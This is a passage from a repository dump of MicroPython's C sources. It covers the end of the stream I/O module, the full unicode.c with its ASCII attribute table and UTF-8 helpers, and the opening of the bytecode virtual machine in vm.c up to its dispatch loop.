memory"); } int error; mp_uint_t out_sz = mp_stream_read_exactly(args[0], p, more_bytes, &error); if (error != 0) { vstr_cut_tail_bytes(&vstr, more_bytes); if (mp_is_nonblocking_error(error)) { // With non-blocking streams, we read as much as we can. // If we read nothing, return None, just like read(). // Otherwise, return data read so far. // TODO what if we have read only half a non-ASCII char? if (vstr.len == 0) { vstr_clear(&vstr); return mp_const_none; } break; } mp_raise_OSError(error); } if (out_sz < more_bytes) { // Finish reading. // TODO what if we have read only half a non-ASCII char? vstr_cut_tail_bytes(&vstr, more_bytes - out_sz); if (out_sz == 0) { break; } } // count chars from bytes just read for (mp_uint_t off = last_buf_offset;;) { byte b = vstr.buf[off]; int n; if (!UTF8_IS_NONASCII(b)) { // 1-byte ASCII char n = 1; } else if ((b & 0xe0) == 0xc0) { // 2-byte char n = 2; } else if ((b & 0xf0) == 0xe0) { // 3-byte char n = 3; } else if ((b & 0xf8) == 0xf0) { // 4-byte char n = 4; } else { // TODO n = 5; } if (off + n <= vstr.len) { // got a whole char in n bytes off += n; sz -= 1; last_buf_offset = off; if (off >= vstr.len) { more_bytes = sz; break; } } else { // didn't get a whole char, so work out how many extra bytes are needed for // this partial char, plus bytes for additional chars that we want more_bytes = (off + n - vstr.len) + (sz - 1); break; } } } return mp_obj_new_str_from_vstr(&mp_type_str, &vstr); } #endif vstr_t vstr; vstr_init_len(&vstr, sz); int error; mp_uint_t out_sz = mp_stream_rw(args[0], vstr.buf, sz, &error, flags); if (error != 0) { vstr_clear(&vstr); if (mp_is_nonblocking_error(error)) { // https://docs.python.org/3.4/library/io.html#io.RawIOBase.read // "If the object is in non-blocking mode and no bytes are available, // None is returned." // This is actually very weird, as naive truth check will treat // this as EOF. return mp_const_none; } mp_raise_OSError(error); } else { vstr.len = out_sz; return mp_obj_new_str_from_vstr(STREAM_CONTENT_TYPE(stream_p), &vstr); } } STATIC mp_obj_t stream_read(size_t n_args, const mp_obj_t *args) { return stream_read_generic(n_args, args, MP_STREAM_RW_READ); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read_obj, 1, 2, stream_read); STATIC mp_obj_t stream_read1(size_t n_args, const mp_obj_t *args) { return stream_read_generic(n_args, args, MP_STREAM_RW_READ | MP_STREAM_RW_ONCE); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read1_obj, 1, 2, stream_read1); mp_obj_t mp_stream_write(mp_obj_t self_in, const void *buf, size_t len, byte flags) { mp_get_stream_raise(self_in, MP_STREAM_OP_WRITE); int error; mp_uint_t out_sz = mp_stream_rw(self_in, (void*)buf, len, &error, flags); if (error != 0) { if (mp_is_nonblocking_error(error)) { // http://docs.python.org/3/library/io.html#io.RawIOBase.write // "None is returned if the raw stream is set not to block and // no single byte could be readily written to it." return mp_const_none; } mp_raise_OSError(error); } else { return MP_OBJ_NEW_SMALL_INT(out_sz); } } // XXX hack void mp_stream_write_adaptor(void *self, const char *buf, size_t len) { mp_stream_write(MP_OBJ_FROM_PTR(self), buf, len, MP_STREAM_RW_WRITE); } STATIC mp_obj_t stream_write_method(size_t n_args, const mp_obj_t *args) { mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_READ); size_t max_len = (size_t)-1; size_t off = 0; if (n_args == 3) { max_len = mp_obj_get_int_truncated(args[2]); } else if (n_args == 4) { off = mp_obj_get_int_truncated(args[2]); max_len = mp_obj_get_int_truncated(args[3]); if (off > bufinfo.len) { off = bufinfo.len; } } bufinfo.len -= off; return mp_stream_write(args[0], (byte*)bufinfo.buf + off, MIN(bufinfo.len, max_len), MP_STREAM_RW_WRITE); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_write_obj, 2, 4, stream_write_method); STATIC mp_obj_t stream_write1_method(mp_obj_t self_in, mp_obj_t arg) { mp_buffer_info_t bufinfo; mp_get_buffer_raise(arg, &bufinfo, MP_BUFFER_READ); return mp_stream_write(self_in, bufinfo.buf, bufinfo.len, MP_STREAM_RW_WRITE | MP_STREAM_RW_ONCE); } MP_DEFINE_CONST_FUN_OBJ_2(mp_stream_write1_obj, stream_write1_method); STATIC mp_obj_t stream_readinto(size_t n_args, const mp_obj_t *args) { mp_get_stream_raise(args[0], MP_STREAM_OP_READ); mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_WRITE); // CPython extension: if 2nd arg is provided, that's max len to read, // instead of full buffer. Similar to // https://docs.python.org/3/library/socket.html#socket.socket.recv_into mp_uint_t len = bufinfo.len; if (n_args > 2) { len = mp_obj_get_int(args[2]); if (len > bufinfo.len) { len = bufinfo.len; } } int error; mp_uint_t out_sz = mp_stream_read_exactly(args[0], bufinfo.buf, len, &error); if (error != 0) { if (mp_is_nonblocking_error(error)) { return mp_const_none; } mp_raise_OSError(error); } else { return MP_OBJ_NEW_SMALL_INT(out_sz); } } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_readinto_obj, 2, 3, stream_readinto); STATIC mp_obj_t stream_readall(mp_obj_t self_in) { const mp_stream_p_t *stream_p = mp_get_stream_raise(self_in, MP_STREAM_OP_READ); mp_uint_t total_size = 0; vstr_t vstr; vstr_init(&vstr, DEFAULT_BUFFER_SIZE); char *p = vstr.buf; mp_uint_t current_read = DEFAULT_BUFFER_SIZE; while (true) { int error; mp_uint_t out_sz = stream_p->read(self_in, p, current_read, &error); if (out_sz == MP_STREAM_ERROR) { if (mp_is_nonblocking_error(error)) { // With non-blocking streams, we read as much as we can. // If we read nothing, return None, just like read(). // Otherwise, return data read so far. if (total_size == 0) { return mp_const_none; } break; } mp_raise_OSError(error); } if (out_sz == 0) { break; } total_size += out_sz; if (out_sz < current_read) { current_read -= out_sz; p += out_sz; } else { p = vstr_extend(&vstr, DEFAULT_BUFFER_SIZE); current_read = DEFAULT_BUFFER_SIZE; } } vstr.len = total_size; return mp_obj_new_str_from_vstr(STREAM_CONTENT_TYPE(stream_p), &vstr); } // Unbuffered, inefficient implementation of readline() for raw I/O files. STATIC mp_obj_t stream_unbuffered_readline(size_t n_args, const mp_obj_t *args) { const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_READ); mp_int_t max_size = -1; if (n_args > 1) { max_size = MP_OBJ_SMALL_INT_VALUE(args[1]); } vstr_t vstr; if (max_size != -1) { vstr_init(&vstr, max_size); } else { vstr_init(&vstr, 16); } while (max_size == -1 || max_size-- != 0) { char *p = vstr_add_len(&vstr, 1); if (p == NULL) { mp_raise_msg(&mp_type_MemoryError, "out of memory"); } int error; mp_uint_t out_sz = stream_p->read(args[0], p, 1, &error); if (out_sz == MP_STREAM_ERROR) { if (mp_is_nonblocking_error(error)) { if (vstr.len == 1) { // We just incremented it, but otherwise we read nothing // and immediately got EAGAIN. This case is not well // specified in // https://docs.python.org/3/library/io.html#io.IOBase.readline // unlike similar case for read(). But we follow the latter's // behavior - return None. vstr_clear(&vstr); return mp_const_none; } else { goto done; } } mp_raise_OSError(error); } if (out_sz == 0) { done: // Back out previously added byte // Consider, what's better - read a char and get OutOfMemory (so read // char is lost), or allocate first as we do. vstr_cut_tail_bytes(&vstr, 1); break; } if (*p == '\n') { break; } } return mp_obj_new_str_from_vstr(STREAM_CONTENT_TYPE(stream_p), &vstr); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_unbuffered_readline_obj, 1, 2, stream_unbuffered_readline); // TODO take an optional extra argument (what does it do exactly?) STATIC mp_obj_t stream_unbuffered_readlines(mp_obj_t self) { mp_obj_t lines = mp_obj_new_list(0, NULL); for (;;) { mp_obj_t line = stream_unbuffered_readline(1, &self); if (!mp_obj_is_true(line)) { break; } mp_obj_list_append(lines, line); } return lines; } MP_DEFINE_CONST_FUN_OBJ_1(mp_stream_unbuffered_readlines_obj, stream_unbuffered_readlines); mp_obj_t mp_stream_unbuffered_iter(mp_obj_t self) { mp_obj_t l_in = stream_unbuffered_readline(1, &self); if (mp_obj_is_true(l_in)) { return l_in; } return MP_OBJ_STOP_ITERATION; } STATIC mp_obj_t stream_seek(size_t n_args, const mp_obj_t *args) { const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_IOCTL); struct mp_stream_seek_t seek_s; // TODO: Could be uint64 seek_s.offset = mp_obj_get_int(args[1]); seek_s.whence = SEEK_SET; if (n_args == 3) { seek_s.whence = mp_obj_get_int(args[2]); } // In POSIX, it's error to seek before end of stream, we enforce it here. if (seek_s.whence == SEEK_SET && seek_s.offset < 0) { mp_raise_OSError(MP_EINVAL); } int error; mp_uint_t res = stream_p->ioctl(args[0], MP_STREAM_SEEK, (mp_uint_t)(uintptr_t)&seek_s, &error); if (res == MP_STREAM_ERROR) { mp_raise_OSError(error); } // TODO: Could be uint64 return mp_obj_new_int_from_uint(seek_s.offset); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_seek_obj, 2, 3, stream_seek); STATIC mp_obj_t stream_tell(mp_obj_t self) { mp_obj_t offset = MP_OBJ_NEW_SMALL_INT(0); mp_obj_t whence = MP_OBJ_NEW_SMALL_INT(SEEK_CUR); const mp_obj_t args[3] = {self, offset, whence}; return stream_seek(3, args); } MP_DEFINE_CONST_FUN_OBJ_1(mp_stream_tell_obj, stream_tell); STATIC mp_obj_t stream_flush(mp_obj_t self) { const mp_stream_p_t *stream_p = mp_get_stream_raise(self, MP_STREAM_OP_IOCTL); int error; mp_uint_t res = stream_p->ioctl(self, MP_STREAM_FLUSH, 0, &error); if (res == MP_STREAM_ERROR) { mp_raise_OSError(error); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mp_stream_flush_obj, stream_flush); STATIC mp_obj_t stream_ioctl(size_t n_args, const mp_obj_t *args) { const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_IOCTL); mp_buffer_info_t bufinfo; uintptr_t val = 0; if (n_args > 2) { if (mp_get_buffer(args[2], &bufinfo, MP_BUFFER_WRITE)) { val = (uintptr_t)bufinfo.buf; } else { val = mp_obj_get_int_truncated(args[2]); } } int error; mp_uint_t res = stream_p->ioctl(args[0], mp_obj_get_int(args[1]), val, &error); if (res == MP_STREAM_ERROR) { mp_raise_OSError(error); } return mp_obj_new_int(res); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_ioctl_obj, 2, 3, stream_ioctl); #if MICROPY_STREAMS_POSIX_API /* * POSIX-like functions * * These functions have POSIX-compatible signature (except for "void *stream" * first argument instead of "int fd"). They are useful to port existing * POSIX-compatible software to work with MicroPython streams. */ // errno-like variable. If any of the functions below returned with error // status, this variable will contain error no. int mp_stream_errno; ssize_t mp_stream_posix_write(mp_obj_t stream, const void *buf, size_t len) { mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream); const mp_stream_p_t *stream_p = o->type->protocol; mp_uint_t out_sz = stream_p->write(stream, buf, len, &mp_stream_errno); if (out_sz == MP_STREAM_ERROR) { return -1; } else { return out_sz; } } ssize_t mp_stream_posix_read(mp_obj_t stream, void *buf, size_t len) { mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream); const mp_stream_p_t *stream_p = o->type->protocol; mp_uint_t out_sz = stream_p->read(stream, buf, len, &mp_stream_errno); if (out_sz == MP_STREAM_ERROR) { return -1; } else { return out_sz; } } off_t mp_stream_posix_lseek(mp_obj_t stream, off_t offset, int whence) { const mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream); const mp_stream_p_t *stream_p = o->type->protocol; struct mp_stream_seek_t seek_s; seek_s.offset = offset; seek_s.whence = whence; mp_uint_t res = stream_p->ioctl(stream, MP_STREAM_SEEK, (mp_uint_t)(uintptr_t)&seek_s, &mp_stream_errno); if (res == MP_STREAM_ERROR) { return -1; } return seek_s.offset; } int mp_stream_posix_fsync(mp_obj_t stream) { mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream); const mp_stream_p_t *stream_p = o->type->protocol; mp_uint_t res = stream_p->ioctl(stream, MP_STREAM_FLUSH, 0, &mp_stream_errno); if (res == MP_STREAM_ERROR) { return -1; } return res; } #endif ================================================ FILE: micropython/source/py/unicode.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/unicode.h" // attribute flags #define FL_PRINT (0x01) #define FL_SPACE (0x02) #define FL_DIGIT (0x04) #define FL_ALPHA (0x08) #define FL_UPPER (0x10) #define FL_LOWER (0x20) #define FL_XDIGIT (0x40) // shorthand character attributes #define AT_PR (FL_PRINT) #define AT_SP (FL_SPACE | FL_PRINT) #define AT_DI (FL_DIGIT | FL_PRINT | FL_XDIGIT) #define AT_AL (FL_ALPHA | FL_PRINT) #define AT_UP (FL_UPPER | FL_ALPHA | FL_PRINT) #define AT_LO (FL_LOWER | FL_ALPHA | FL_PRINT) #define AT_UX (FL_UPPER | FL_ALPHA | FL_PRINT | FL_XDIGIT) #define AT_LX (FL_LOWER | FL_ALPHA | FL_PRINT | FL_XDIGIT) // table of attributes for ascii characters STATIC const uint8_t attr[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, AT_SP, AT_SP, AT_SP, AT_SP, AT_SP, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, AT_SP, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_UX, AT_UX, AT_UX, AT_UX, AT_UX, AT_UX, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_LX, AT_LX, AT_LX, AT_LX, AT_LX, AT_LX, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_PR, AT_PR, AT_PR, AT_PR, 0 }; // TODO: Rename to str_get_char unichar utf8_get_char(const byte *s) { #if MICROPY_PY_BUILTINS_STR_UNICODE unichar ord = *s++; if (!UTF8_IS_NONASCII(ord)) return ord; ord &= 0x7F; for (unichar mask = 0x40; ord & mask; mask >>= 1) { ord &= ~mask; } while (UTF8_IS_CONT(*s)) { ord = (ord << 6) | (*s++ & 0x3F); } return ord; #else return *s; #endif } // TODO: Rename to str_next_char const byte *utf8_next_char(const byte *s) { #if MICROPY_PY_BUILTINS_STR_UNICODE ++s; while (UTF8_IS_CONT(*s)) { ++s; } return s; #else return s + 1; #endif } mp_uint_t utf8_ptr_to_index(const byte *s, const byte *ptr) { mp_uint_t i = 0; while (ptr > s) { if (!UTF8_IS_CONT(*--ptr)) { i++; } } return i; } // TODO: Rename to str_charlen mp_uint_t unichar_charlen(const char *str, mp_uint_t len) { #if MICROPY_PY_BUILTINS_STR_UNICODE mp_uint_t charlen = 0; for (const char *top = str + len; str < top; ++str) { if (!UTF8_IS_CONT(*str)) { ++charlen; } } return charlen; #else return len; #endif } // Be aware: These unichar_is* functions are actually ASCII-only! bool unichar_isspace(unichar c) { return c < 128 && (attr[c] & FL_SPACE) != 0; } bool unichar_isalpha(unichar c) { return c < 128 && (attr[c] & FL_ALPHA) != 0; } /* unused bool unichar_isprint(unichar c) { return c < 128 && (attr[c] & FL_PRINT) != 0; } */ bool unichar_isdigit(unichar c) { return c < 128 && (attr[c] & FL_DIGIT) != 0; } bool unichar_isxdigit(unichar c) { return c < 128 && (attr[c] & FL_XDIGIT) != 0; } bool unichar_isident(unichar c) { return c < 128 && ((attr[c] & (FL_ALPHA | FL_DIGIT)) != 0 || c == '_'); } bool unichar_isupper(unichar c) { return c < 128 && (attr[c] & FL_UPPER) != 0; } bool unichar_islower(unichar c) { return c < 128 && (attr[c] & FL_LOWER) != 0; } unichar unichar_tolower(unichar c) { if (unichar_isupper(c)) { return c + 0x20; } return c; } unichar unichar_toupper(unichar c) { if (unichar_islower(c)) { return c - 0x20; } return c; } mp_uint_t unichar_xdigit_value(unichar c) { // c is assumed to be hex digit mp_uint_t n = c - '0'; if (n > 9) { n &= ~('a' - 'A'); n -= ('A' - ('9' + 1)); } return n; } ================================================ FILE: micropython/source/py/vm.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpstate.h" #include "py/nlr.h" #include "py/emitglue.h" #include "py/objtype.h" #include "py/runtime.h" #include "py/bc0.h" #include "py/bc.h" #if 0 #define TRACE(ip) printf("sp=%d ", (int)(sp - &code_state->state[0] + 1)); mp_bytecode_print2(ip, 1, code_state->fun_bc->const_table); #else #define TRACE(ip) #endif // Value stack grows up (this makes it incompatible with native C stack, but // makes sure that arguments to functions are in natural order arg1..argN // (Python semantics mandates left-to-right evaluation order, including for // function arguments). Stack pointer is pre-incremented and points at the // top element. // Exception stack also grows up, top element is also pointed at. // Exception stack unwind reasons (WHY_* in CPython-speak) // TODO perhaps compress this to RETURN=0, JUMP>0, with number of unwinds // left to do encoded in the JUMP number typedef enum { UNWIND_RETURN = 1, UNWIND_JUMP, } mp_unwind_reason_t; #define DECODE_UINT \ mp_uint_t unum = 0; \ do { \ unum = (unum << 7) + (*ip & 0x7f); \ } while ((*ip++ & 0x80) != 0) #define DECODE_ULABEL size_t ulab = (ip[0] | (ip[1] << 8)); ip += 2 #define DECODE_SLABEL size_t slab = (ip[0] | (ip[1] << 8)) - 0x8000; ip += 2 #if MICROPY_PERSISTENT_CODE #define DECODE_QSTR \ qstr qst = ip[0] | ip[1] << 8; \ ip += 2; #define DECODE_PTR \ DECODE_UINT; \ void *ptr = (void*)(uintptr_t)code_state->fun_bc->const_table[unum] #define DECODE_OBJ \ DECODE_UINT; \ mp_obj_t obj = (mp_obj_t)code_state->fun_bc->const_table[unum] #else #define DECODE_QSTR qstr qst = 0; \ do { \ qst = (qst << 7) + (*ip & 0x7f); \ } while ((*ip++ & 0x80) != 0) #define DECODE_PTR \ ip = (byte*)MP_ALIGN(ip, sizeof(void*)); \ void *ptr = *(void**)ip; \ ip += sizeof(void*) #define DECODE_OBJ \ ip = (byte*)MP_ALIGN(ip, sizeof(mp_obj_t)); \ mp_obj_t obj = *(mp_obj_t*)ip; \ ip += sizeof(mp_obj_t) #endif #define PUSH(val) *++sp = (val) #define POP() (*sp--) #define TOP() (*sp) #define SET_TOP(val) *sp = (val) #if MICROPY_PY_SYS_EXC_INFO #define CLEAR_SYS_EXC_INFO() MP_STATE_VM(cur_exception) = NULL; #else #define CLEAR_SYS_EXC_INFO() #endif #define PUSH_EXC_BLOCK(with_or_finally) do { \ DECODE_ULABEL; /* except labels are always forward */ \ ++exc_sp; \ exc_sp->handler = ip + ulab; \ exc_sp->val_sp = MP_TAGPTR_MAKE(sp, ((with_or_finally) << 1) | currently_in_except_block); \ exc_sp->prev_exc = NULL; \ currently_in_except_block = 0; /* in a try block now */ \ } while (0) #define POP_EXC_BLOCK() \ currently_in_except_block = MP_TAGPTR_TAG0(exc_sp->val_sp); /* restore previous state */ \ exc_sp--; /* pop back to previous exception handler */ \ CLEAR_SYS_EXC_INFO() /* just clear sys.exc_info(), not compliant, but it shouldn't be used in 1st place */ // fastn has items in reverse order (fastn[0] is local[0], fastn[-1] is local[1], etc) // sp points to bottom of stack which grows up // returns: // MP_VM_RETURN_NORMAL, sp valid, return value in *sp // MP_VM_RETURN_YIELD, ip, sp valid, yielded value in *sp // MP_VM_RETURN_EXCEPTION, exception in fastn[0] mp_vm_return_kind_t mp_execute_bytecode(mp_code_state_t *code_state, volatile mp_obj_t inject_exc) { #define SELECTIVE_EXC_IP (0) #if SELECTIVE_EXC_IP #define MARK_EXC_IP_SELECTIVE() { code_state->ip = ip; } /* stores ip 1 byte past last opcode */ #define MARK_EXC_IP_GLOBAL() #else #define MARK_EXC_IP_SELECTIVE() #define MARK_EXC_IP_GLOBAL() { code_state->ip = ip; } /* stores ip pointing to last opcode */ #endif #if MICROPY_OPT_COMPUTED_GOTO #include "py/vmentrytable.h" #define DISPATCH() do { \ TRACE(ip); \ MARK_EXC_IP_GLOBAL(); \ goto *entry_table[*ip++]; \ } while (0) #define DISPATCH_WITH_PEND_EXC_CHECK() goto pending_exception_check #define ENTRY(op) entry_##op #define ENTRY_DEFAULT entry_default #else #define DISPATCH() break #define DISPATCH_WITH_PEND_EXC_CHECK() goto pending_exception_check #define ENTRY(op) case op #define ENTRY_DEFAULT default #endif // nlr_raise needs to be implemented as a goto, so that the C compiler's flow analyser // sees that it's possible for us to jump from the dispatch loop to the exception // handler. Without this, the code may have a different stack layout in the dispatch // loop and the exception handler, leading to very obscure bugs. #define RAISE(o) do { nlr_pop(); nlr.ret_val = MP_OBJ_TO_PTR(o); goto exception_handler; } while (0) #if MICROPY_STACKLESS run_code_state: ; #endif // Pointers which are constant for particular invocation of mp_execute_bytecode() mp_obj_t * /*const*/ fastn; mp_exc_stack_t * /*const*/ exc_stack; { size_t n_state = mp_decode_uint_value(code_state->fun_bc->bytecode); fastn = &code_state->state[n_state - 1]; exc_stack = (mp_exc_stack_t*)(code_state->state + n_state); } // variables that are visible to the exception handler (declared volatile) volatile bool currently_in_except_block = MP_TAGPTR_TAG0(code_state->exc_sp); // 0 or 1, to detect nested exceptions mp_exc_stack_t *volatile exc_sp = MP_TAGPTR_PTR(code_state->exc_sp); // stack grows up, exc_sp points to top of stack #if MICROPY_PY_THREAD_GIL && MICROPY_PY_THREAD_GIL_VM_DIVISOR // This needs to be volatile and outside the VM loop so it persists across handling // of any exceptions. Otherwise it's possible that the VM never gives up the GIL. volatile int gil_divisor = MICROPY_PY_THREAD_GIL_VM_DIVISOR; #endif // outer exception handling loop for (;;) { nlr_buf_t nlr; outer_dispatch_loop: if (nlr_push(&nlr) == 0) { // local variables that are not visible to the exception handler const byte *ip = code_state->ip; mp_obj_t *sp = code_state->sp; mp_obj_t obj_shared; MICROPY_VM_HOOK_INIT // If we have exception to inject, now that we finish setting up // execution context, raise it. This works as if RAISE_VARARGS // bytecode was executed. // Injecting exc into yield from generator is a special case, // handled by MP_BC_YIELD_FROM itself if (inject_exc != MP_OBJ_NULL && *ip != MP_BC_YIELD_FROM) { mp_obj_t exc = inject_exc; inject_exc = MP_OBJ_NULL; exc = mp_make_raise_obj(exc); RAISE(exc); } // loop to execute byte code for (;;) { dispatch_loop: #if MICROPY_OPT_COMPUTED_GOTO DISPATCH(); #else TRACE(ip); MARK_EXC_IP_GLOBAL(); switch (*ip++) { #endif ENTRY(MP_BC_LOAD_CONST_FALSE): PUSH(mp_const_false); DISPATCH(); ENTRY(MP_BC_LOAD_CONST_NONE): PUSH(mp_const_none); DISPATCH(); ENTRY(MP_BC_LOAD_CONST_TRUE): PUSH(mp_const_true); DISPATCH(); ENTRY(MP_BC_LOAD_CONST_SMALL_INT): { mp_int_t num = 0; if ((ip[0] & 0x40) != 0) { // Number is negative num--; } do { num = (num << 7) | (*ip & 0x7f); } while ((*ip++ & 0x80) != 0); PUSH(MP_OBJ_NEW_SMALL_INT(num)); DISPATCH(); } ENTRY(MP_BC_LOAD_CONST_STRING): { DECODE_QSTR; PUSH(MP_OBJ_NEW_QSTR(qst)); DISPATCH(); } ENTRY(MP_BC_LOAD_CONST_OBJ): { DECODE_OBJ; PUSH(obj); DISPATCH(); } ENTRY(MP_BC_LOAD_NULL): PUSH(MP_OBJ_NULL); DISPATCH(); ENTRY(MP_BC_LOAD_FAST_N): { DECODE_UINT; obj_shared = fastn[-unum]; load_check: if (obj_shared == MP_OBJ_NULL) { local_name_error: { MARK_EXC_IP_SELECTIVE(); mp_obj_t obj = mp_obj_new_exception_msg(&mp_type_NameError, "local variable referenced before assignment"); RAISE(obj); } } PUSH(obj_shared); DISPATCH(); } ENTRY(MP_BC_LOAD_DEREF): { DECODE_UINT; obj_shared = mp_obj_cell_get(fastn[-unum]); goto load_check; } #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE ENTRY(MP_BC_LOAD_NAME): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; PUSH(mp_load_name(qst)); DISPATCH(); } #else ENTRY(MP_BC_LOAD_NAME): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_obj_t key = MP_OBJ_NEW_QSTR(qst); mp_uint_t x = *ip; if (x < mp_locals_get()->map.alloc && mp_locals_get()->map.table[x].key == key) { PUSH(mp_locals_get()->map.table[x].value); } else { mp_map_elem_t *elem = mp_map_lookup(&mp_locals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP); if (elem != NULL) { *(byte*)ip = (elem - &mp_locals_get()->map.table[0]) & 0xff; PUSH(elem->value); } else { PUSH(mp_load_name(MP_OBJ_QSTR_VALUE(key))); } } ip++; DISPATCH(); } #endif #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE ENTRY(MP_BC_LOAD_GLOBAL): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; PUSH(mp_load_global(qst)); DISPATCH(); } #else ENTRY(MP_BC_LOAD_GLOBAL): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_obj_t key = MP_OBJ_NEW_QSTR(qst); mp_uint_t x = *ip; if (x < mp_globals_get()->map.alloc && mp_globals_get()->map.table[x].key == key) { PUSH(mp_globals_get()->map.table[x].value); } else { mp_map_elem_t *elem = mp_map_lookup(&mp_globals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP); if (elem != NULL) { *(byte*)ip = (elem - &mp_globals_get()->map.table[0]) & 0xff; PUSH(elem->value); } else { PUSH(mp_load_global(MP_OBJ_QSTR_VALUE(key))); } } ip++; DISPATCH(); } #endif #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE ENTRY(MP_BC_LOAD_ATTR): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; SET_TOP(mp_load_attr(TOP(), qst)); DISPATCH(); } #else ENTRY(MP_BC_LOAD_ATTR): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_obj_t top = TOP(); if (mp_obj_get_type(top)->attr == mp_obj_instance_attr) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(top); mp_uint_t x = *ip; mp_obj_t key = MP_OBJ_NEW_QSTR(qst); mp_map_elem_t *elem; if (x < self->members.alloc && self->members.table[x].key == key) { elem = &self->members.table[x]; } else { elem = mp_map_lookup(&self->members, key, MP_MAP_LOOKUP); if (elem != NULL) { *(byte*)ip = elem - &self->members.table[0]; } else { goto load_attr_cache_fail; } } SET_TOP(elem->value); ip++; DISPATCH(); } load_attr_cache_fail: SET_TOP(mp_load_attr(top, qst)); ip++; DISPATCH(); } #endif ENTRY(MP_BC_LOAD_METHOD): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; mp_load_method(*sp, qst, sp); sp += 1; DISPATCH(); } ENTRY(MP_BC_LOAD_SUPER_METHOD): { MARK_EXC_IP_SELECTIVE(); DECODE_QSTR; sp -= 1; mp_load_super_method(qst, sp - 1); DISPATCH(); } ENTRY(MP_BC_LOAD_BUILD_CLASS): 